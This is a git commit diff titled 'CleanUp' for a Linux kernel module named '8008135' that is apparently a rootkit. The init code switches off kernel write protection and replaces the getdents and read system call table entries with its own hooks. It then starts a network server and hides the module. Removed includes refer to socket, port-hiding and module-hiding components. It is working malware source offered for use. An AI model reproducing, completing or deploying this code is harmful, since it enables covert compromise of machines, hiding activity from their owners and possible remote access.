CleanUp
This commit is contained in:
parent
53e95217c2
commit
ed5b2fa92a
@ -22,11 +22,6 @@
|
||||
/**** includes *****************************************************************
|
||||
*******************************************************************************/
|
||||
#include "8008135.h"
|
||||
#include "50ck3t.h"
|
||||
#include "637d3n75.h"
|
||||
#include "h1d3m0dul3.h"
|
||||
#include "h1d3p0r7.h"
|
||||
#include "p463unpr073c7.h"
|
||||
|
||||
/*******************************************************************************/
|
||||
|
||||
@ -37,48 +32,39 @@
|
||||
* RETURNS: int
|
||||
*******************************************************************************/
|
||||
static int __init init_8008135(void) {
|
||||
printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table);
|
||||
|
||||
|
||||
sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM];
|
||||
|
||||
printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig);
|
||||
sys_getdents_orig = (sys_getdents_ptr)((void**)sys_call_table)[__NR_getdents];
|
||||
sys_read_orig = (sys_read_ptr)((void**)sys_call_table)[__NR_read];
|
||||
|
||||
// turn write protect off
|
||||
wprotectionoff();
|
||||
|
||||
// add our new handlers
|
||||
sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new;
|
||||
|
||||
orig_read = (read_ptr)sys_call_table[__NR_read];
|
||||
|
||||
sys_call_table[READ_SYSCALL_NUM] = (unsigned long) hacked_read;
|
||||
|
||||
// turn write protect back on
|
||||
sys_call_table[__NR_getdents] = sys_getdents_new;
|
||||
sys_call_table[__NR_read] = sys_read_fake;
|
||||
|
||||
wprotectionon();
|
||||
|
||||
printk(KERN_INFO "New syscall in place\n");
|
||||
network_server_init();
|
||||
hide_module();
|
||||
printk(KERN_INFO "Module hidden");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*** FUNCTION ****************************************************************
|
||||
* NAME: 8008135_exit
|
||||
* DESCRIPTION: unloading Kernel Module
|
||||
* DESCRIPTION: unloading Kernel Module, restoring the original system call table
|
||||
* PARAMETERS: -
|
||||
* RETURNS: -
|
||||
*******************************************************************************/
|
||||
static void __exit exit_8008135(void) {
|
||||
|
||||
network_server_exit();
|
||||
|
||||
wprotectionoff();
|
||||
sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig;
|
||||
sys_call_table[READ_SYSCALL_NUM] = (unsigned long) orig_read;
|
||||
// turn write protect back on
|
||||
|
||||
sys_call_table[__NR_getdents] = sys_getdents_orig;
|
||||
sys_call_table[__NR_read] = sys_read_orig;
|
||||
|
||||
wprotectionon();
|
||||
printk(KERN_INFO "Old syscall back\n");
|
||||
}
|
||||
|
||||
/*******************************************************************************/
|
||||
|
Loading…
Reference in New Issue
Block a user